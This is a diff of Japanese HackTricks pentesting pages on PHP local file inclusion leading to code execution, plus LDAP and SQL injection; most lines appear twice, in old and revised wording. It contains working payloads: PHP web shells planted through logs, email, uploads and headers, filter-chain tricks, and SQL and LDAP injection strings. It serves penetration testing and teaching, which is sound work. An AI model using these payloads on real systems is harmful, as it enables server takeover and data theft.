- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数であれば、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
- コーデック **convert.iconv.UNICODE.CP930** は、すべての文字を次の文字に変換しますこのコーデックの後a -> b。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用すると、a->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾とともに引き起こされます。
- **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です他のコーデックを使用して他の文字を16進数範囲に移動させることができます
- 最初の文字が数字の場合、それをbase64エンコードし、数字を漏洩させるために最初の2文字を漏洩させる必要があります。
- 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して次の2バイトと**ピボット**、**ジャンクデータまでデータを削除**することですこれにより、初期テキストの最初の2バイトが削除されます。これを、漏洩させたいビットに達するまで続けます。
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して**次の2バイトとピボットさせ**、**ジャンクデータまでデータを削除**することですこれにより、初期テキストの最初の2バイトが削除されます。これを繰り返して、漏洩させたいビットに達するまで続けます。
この記事では、これを自動的に実行するツールも漏洩されました:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
この記事では、この操作を自動的に実行するツールも漏洩しました:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
### php://fd
このラッパーは、プロセスがオープンしているファイルディスクリプタにアクセスすることを可能にします。開いているファイルの内容を漏洩させるのに潜在的に役立ちます:
このラッパーは、プロセスがオープンしているファイル記述子にアクセスすることを可能にします。開いているファイルの内容を漏洩させるのに潜在的に役立ちます:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
`.phar`ファイルは、ウェブアプリケーションが`include`のような関数を使用してファイルを読み込む際にPHPコードを実行するために利用できます。以下のPHPコードスニペットは、`.phar`ファイルの作成を示しています:
`.phar`ファイルは、ウェブアプリケーションが`include`のような関数を使用してファイルを読み込む際にPHPコードを実行するために利用できます。以下のPHPコードスニペットは、`.phar`ファイルの作成を示しています:
```php
<?php
$phar = new Phar('test.phar');
@ -356,11 +356,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
実行時に `test.phar` というファイルが作成され、これを利用してローカルファイルインクルージョン (LFI) 脆弱性を悪用する可能性があります。
実行時に`test.phar`という名前のファイルが作成され、これを利用してローカルファイルインクルージョンLFI脆弱性を悪用する可能性があります。
LFI PHP コードを実行せずにファイルを読み取るだけの場合、`file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()`、または `filesize()` などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar` プロトコルを使用してファイルを読み取ることに関連しています。
LFIがPHPコードを実行せずにファイルを読み取るだけの場合、`file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()`、または`filesize()`などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。
`.phar` ファイルの文脈におけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください:
`.phar`ファイルのデシリアライズ脆弱性を悪用する詳細な理解については、以下のリンクされた文書を参照してください:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -370,28 +370,28 @@ phar-deserialization.md
### CVE-2024-2961
**php フィルターをサポートする任意のファイルを PHP から読み取ることを悪用して RCE を得ることが可能でした。** 詳細な説明は [**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常に簡単な要約PHP ヒープの **3 バイトオーバーフロー** を悪用して、特定のサイズのフリーチャンクのチェーンを **変更し、任意のアドレスに何でも書き込むことができるようにしました**。そのため、**`system`** を呼び出すフックが追加されました。\
特定のサイズのチャンクを割り当てることが、他の PHP フィルターを悪用して可能でした。
**phpフィルターをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを得ることが可能でした。** 詳細な説明は[**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常に簡単な要約PHPヒープの**3バイトオーバーフロー**を悪用して、特定のサイズのフリーチャンクのチェーンを**変更し、任意のアドレスに何でも書き込むことができるようにし、**`system`**を呼び出すフックが追加されました。**\
特定のサイズのチャンクを割り当てることが、他のPHPフィルターを悪用して可能でした。
### その他のプロトコル
### さらなるプロトコル
ここに含める可能性のある[ **プロトコルを確認してください**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URL へのアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URL へのアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URLへのアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URLへのアクセス
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないので、ここではあまり役に立たない)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル 2
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない)
## PHP の 'assert' を介した LFI
## PHPの'assert'によるLFI
PHP におけるローカルファイルインクルージョン (LFI) リスクは、文字列内でコードを実行できる 'assert' 関数を扱う際に特に高くなります。これは、".." のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
PHPにおけるローカルファイルインクルージョンLFIリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
例えば、PHP コードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:
例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります
```bash
assert("strpos('$file', '..') === false") or die("");
```
@ -405,10 +405,10 @@ assert("strpos('$file', '..') === false") or die("");
```
重要なのは、**これらのペイロードをURLエンコードすること**です。
## PHP ブラインドパススラベル
## PHPブラインドパススラベル
> [!WARNING]
> この技術は、**ファイルパス**を**制御**できる**PHP関数**が**ファイルにアクセス**する場合に関連していますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのように)が、内容は表示されません。
> この技術は、**PHP関数**の**ファイルパス**を**制御**できる場合に関連していますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのように)が、内容は表示されません。
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパススラベルがPHPフィルターを介して**エラーオラクルを介してファイルの内容を抽出する**方法が説明されています。
@ -416,7 +416,7 @@ assert("strpos('$file', '..') === false") or die("");
次に、最初の文字を漏洩させるためにフィルター**`dechunk`**が使用され、**base64**や**rot13**などの他のフィルターと共に使用され、最終的にフィルター**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用されて**他の文字を最初に配置して漏洩させます**。
**脆弱性がある可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これ読み取り専用のターゲットのみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**脆弱性がある可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これを使用して読み取り専用のターゲットのみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
技術的な詳細については、前述の投稿を確認してください!
@ -428,12 +428,12 @@ assert("strpos('$file', '..') === false") or die("");
### Apache/Nginxログファイル経由
ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスしようとすることができます。**ユーザーエージェント**内または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定し、そのファイルをインクルードます。
ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし**ユーザーエージェント**内または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定し、そのファイルをインクルードすることができます。
> [!WARNING]
> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートは文字列"_**quote;**_"に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。
>
> また、**ペイロードを正しく記述する**ことを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーを出し、二度と機会がありません。
> また、**ペイロードを正しく記述する**ことを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーが発生し、二度と機会がありません。
他のログでもこれを行うことができますが、**注意してください**。ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64で"ユーザー:パスワード"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\
他の可能なログパス:
@ -450,25 +450,25 @@ ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルー
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
### メール経由
**内部アカウント (user@localhost)** に `<?php echo system($_REQUEST["cmd"]); ?>` のような PHP ペイロードを含むメールを送信し、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスでユーザーのメールに含めることを試みます。
**内部アカウントにメールを送信** (user@localhost) し、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含め、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のパスでユーザーのメールに含めるようにします。
### Via /proc/\*/fd/\*
### /proc/\*/fd/\* 経由
1. 多くのシェルをアップロードします (例えば: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を含めます。ここで $PID はプロセスの PID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能) です。
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を含めます。ここで、$PID はプロセスのPID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能) です。
### Via /proc/self/environ
### /proc/self/environ 経由
ログファイルのように、User-Agent にペイロードを送信します。これにより、/proc/self/environ ファイル内に反映されます。
ログファイルのように、User-Agentにペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
ファイルをアップロードできる場合は、そこにシェルペイロードを注入します(例: `<?php system($_GET['c']); ?>` )。
ファイルをアップロードできる場合は、その中にシェルペイロードを注入してください(例: `<?php system($_GET['c']); ?>` )。
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
@ -487,7 +487,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHPでは、これらのセッションは_/var/lib/php5/sess\_[PHPSESSID]\_ファイルに保存されます。
PHPでは、これらのセッションは_/var/lib/php5/sess\\_\[PHPSESSID]\_ファイルに保存されます。
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -506,14 +506,14 @@ sshがアクティブな場合、どのユーザーが使用されているか
### **Via** **vsftpd** _**logs**_
FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Local File Inclusion (LFI)の脆弱性が存在し、公開されたvsftpdサーバーへのアクセスが可能なシナリオでは、以下の手順を考慮できます。
FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Local File Inclusion (LFI)の脆弱性が存在し、公開されたvsftpdサーバーにアクセスできるシナリオでは、以下の手順を考慮できます。
1. ログインプロセス中にユーザー名フィールドにPHPペイロードを注入します。
2. 注入後、LFIを利用して_**/var/log/vsftpd.log**_からサーバーログを取得します。
### Via php base64 filter (using base64)
[ちら](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできますもし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です
[](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできますもし".php"で終わるbase64を提供すると、"."を無視してbase64に"php"を追加します。以下はペイロードの例です:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -529,7 +529,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**ファイルをアップロード**し、それが`/tmp`に**一時的**保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こすと、**一時ファイルは削除されず**、それを探すことができます。
**ファイルをアップロード**し、それが`/tmp`に**一時的**保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こすと、**一時ファイルは削除されず**、それを検索できます。
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -561,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、phpdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合は引数として使用されるべきであると示されています。
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、php dockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があると示されています。
次のリクエストは、`/tmp/hello.php``<?=phpinfo()?>`という内容のファイルを作成します:
```bash
@ -576,7 +576,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### phpinfo()を介して (file_uploads = on)
**Local File Inclusion**と**file_uploads = on**の**phpinfo()**を公開しているファイルが見つかった場合、RCEを取得できます
**Local File Inclusion**を見つけ、file_uploads = onの**phpinfo()**を公開しているファイルがある場合、RCEを取得できます
{{#ref}}
lfi2rce-via-phpinfo.md
@ -584,7 +584,7 @@ lfi2rce-via-phpinfo.md
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して
**Local File Inclusion**が見つかり、**一時ファイルのパスを外部に流出させることができるが、**サーバーが**含めるファイルにPHPマークがあるかどうか**チェックしている**場合、この**レースコンディション**を使って**そのチェックをバイパス**しようとすることができます:
**Local File Inclusion**を見つけ、**一時ファイルのパスを外部に漏洩できる**が、**サーバー**が**含めるファイルにPHPマークがあるかをチェックしている**場合、この**レースコンディション**を使って**そのチェックをバイパス**しようとできます:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -602,8 +602,8 @@ lfi2rce-via-eternal-waiting.md
`/usr/bin/phar``/usr/bin/phar7``/usr/bin/phar.phar7``/usr/bin/phar.phar`のいずれかのファイルを含めると、そのエラーを引き起こすために同じものを2回含める必要があります
**これがどのように役立つのかわかりませんが、役立つかもしれません。**\
&#xNAN;_&#x45;たとえPHP致命的エラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。_
**これがどのように役立つのかわかりませんが、役立つかもしれません。**\
&#xNAN;_&#x45;たとえPHP致命的エラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。_
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -612,6 +612,8 @@ lfi2rce-via-eternal-waiting.md
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -10,9 +10,11 @@
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
あなたは、エクスプロイトの最初に**ペイロード**を変更する必要があります例えば、php-rev-shell用、**REQ1**これはphpinfoページを指し、パディングが含まれている必要があります、すなわち_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_)、および**LFIREQ**これはLFI脆弱性を指す必要があります、すなわち_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ ヌル文字を悪用する際のダブル "%" に注意してください)
あなたは、エクスプロイトの最初にある**payload**も変更する必要があります例えば、php-rev-shell用、**REQ1**これはphpinfoページを指し、パディングが含まれている必要があります、すなわち_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_)、および**LFIREQ**これはLFI脆弱性を指す必要があります、すなわち_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ null charを悪用する際のダブル"%"に注意してください)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### 理論
@ -26,7 +28,7 @@ PHPでアップロードが許可されている場合、ファイルをアッ
**phpinfo()**
**PHP**は**4096B**のバッファを使用し、**満杯**になると、**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**一時ファイルの名前が含まれている場所、LFI脆弱性を悪用して**phpサーバーがファイルを削除する前に一時ファイルにアクセス**しようとします。
**PHP**は**4096B**のバッファを使用し、**満杯**になると、**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**一時ファイルの名前が含まれている場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。
**名前をブルートフォースするためのPythonスクリプト長さ=6の場合**
```python

View File

@ -1,10 +1,10 @@
# LDAPインジェクション
# LDAP Injection
## LDAPインジェクション
## LDAP Injection
{{#include ../banners/hacktricks-training.md}}
## LDAPインジェクション
## LDAP Injection
### **LDAP**
@ -14,25 +14,27 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
{{#endfile}}
**フィルター** = ( filtercomp )\
**フィルターコンポーネント** = and / or / not / item\
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**フィルターリスト** = 1\*filter\
**アイテム**= simple / present / substring\
**シンプル** = attr filtertype assertionvalue\
**フィルタータイプ** = _'=' / '\~=' / '>=' / '<='_\
**プレゼント** = attr = \*\
**サブストリング** = attr ”=” \[initial] \* \[final]\
**初期** = assertionvalue\
**最終** = assertionvalue\
&#xNAN;**(&)** = 絶対TRUE\
&#xNAN;**(|)** = 絶対FALSE
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = Absolute TRUE\
&#xNAN;**(|)** = Absolute FALSE
例えば:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
@ -44,7 +46,7 @@
**ADAMまたはMicrosoft LDS**: 2つのフィルターがあるとエラーが発生します。\
**SunOne Directory Server 5.0**: 両方のフィルターを実行します。
**フィルターは正しい構文で送信することが非常に重要です。そうしないとエラーが発生します。フィルターは1つだけ送信する方が良いです。**
**フィルターは正しい構文で送信することが非常に重要です。さもなければエラーが発生します。フィルターは1つだけ送信する方が良いです。**
フィルターは次のように始まる必要があります: `&` または `|`\
例: `(&(directory=val1)(folder=public))`
@ -54,7 +56,7 @@
次に: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター(実行されるもの)になります。
### ログインバイパス
### Login Bypass
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、それがハッシュ化される可能性があります。
```bash
@ -144,7 +146,7 @@ ascii文字、数字、記号を繰り返し処理できます:
(&(sn=administrator)(password=MB*)) : KO
...
```
### スクリプト
### Scripts
#### **有効なLDAPフィールドを発見する**

View File

@ -8,7 +8,7 @@
## エントリーポイントの検出
サイトがSQLi関連の入力に対して異常なサーバー応答を示す場合、**SQLインジェクションSQLiに対して脆弱である**と見なされます。**最初のステップ**は、**クエリを中断することなくデータを注入する**方法を理解することです。これには、**現在のコンテキストから効果的にエスケープする**方法を特定する必要があります。以下は役立ついくつかの例です:
サイトがSQLi関連の入力に対して異常なサーバー応答を示す場合、**SQLインジェクションSQLiに対して脆弱である**と見なされます。**最初のステップ**は、**クエリにデータを注入してもそれを妨げない**方法を理解することです。これには、**現在のコンテキストから効果的にエスケープする**方法を特定する必要があります。以下は役立ついくつかの例です:
```
[Nothing]
'
@ -21,9 +21,9 @@
"))
`))
```
次に、**エラーが発生しないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**データを入力**して**前のクエリが新しいデータを受け入れる**ようにするか、単に**データを入力**して**最後にコメント記号を追加**することができます。
次に、**エラーがないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**新しいデータを受け入れるように前のクエリにデータを入力する**か、単に**データを入力して**、**最後にコメント記号を追加する**ことができます。
_エラーメッセージが表示される場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができる場合、このフェーズはより簡単になります。_
_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができれば、このフェーズはより簡単になります。_
### **コメント**
```sql
@ -53,7 +53,7 @@ HQL does not support comments
```
### 論理演算による確認
SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示されます。
SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更しても同じ内容を返す場合、SQLインジェクションの脆弱性があることを示しています。
同様に、**数学的演算**の適用も効果的な確認手法です。例えば、`?id=1``?id=2-1`にアクセスして同じ結果が得られる場合、SQLインジェクションを示唆しています。
@ -66,7 +66,9 @@ page.asp?id=1 and 1=2 -- results in false
```
この単語リストは、提案された方法で**SQLインジェクションを確認する**ために作成されました:
{% file src="../../images/sqli-logic.txt" %}
{{#file}}
sqli-logic.txt
{{#endfile}}
### タイミングによる確認
@ -146,7 +148,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
#### Order/Group by
クエリのカラム数を特定するために、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。
クエリのカラム数を特定するに、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -185,7 +187,7 @@ _クエリの両側の列の型が同じでなければならない場合があ
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_このデータを発見する方法は、異なるデータベースごとに異なりますが、常に同じ方法論です。_
_データベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。_
## 隠れたユニオンベースの悪用
@ -199,15 +201,15 @@ _このデータを発見する方法は、異なるデータベースごとに
## エラーベースの悪用
何らかの理由で**クエリ**の**出力**を見ることができないが、**エラーメッセージ**見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを**エクスフィルトレート**することができます。\
ユニオンベースの悪用と同様の流れに従って、DBをダンプすることができるかもしれません。
何らかの理由で**クエリ**の**出力**を見ることができないが、**エラーメッセージ**見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを**抽出**することができます。\
ユニオンベースの悪用と同様の流れに従うことで、DBをダンプすることができるかもしれません。
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## ブラインドSQLiの悪用
## Blind SQLiの悪用
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに、ページ上の異なる内容があるため、**区別**することができます。\
この場合、その動作を悪用してデータベースを文字単位でダンプすることができます:
この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
@ -219,7 +221,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 時間ベースのSQLiの悪用
この場合、ページのコンテキストに基づいてクエリの**応答**を**区別**する方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[確認するためにSQLiの脆弱性を確認する](#confirming-with-timing)ために以前に使用されているのを見たことがあります。
この場合、ページのコンテキストに基づいてクエリの**応答**を**区別する**方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[SQLi脆弱性の確認](#confirming-with-timing)のために以前に使用されているのを見たことがあります。
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -241,11 +243,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```
## 自動化されたエクスプロイト
[SQLMap Cheatsheet](sqlmap/index.html)を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性をエクスプロイトします。
[SQLMap Cheatsheet](sqlmap/index.html)を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性を悪用します。
## 技術特有の情報
SQLインジェクション脆弱性をエクスプロイトする方法についてはすでに議論しました。この本でデータベース技術に依存するいくつかのトリックを見つけてください:
SQLインジェクション脆弱性を悪用する方法についてはすでに議論しました。この本でデータベース技術に依存するいくつかのトリックを見つけてください:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -281,7 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
各行のリストをユーザー名として使用し、パスワードは常に: _**Pass1234.**_\
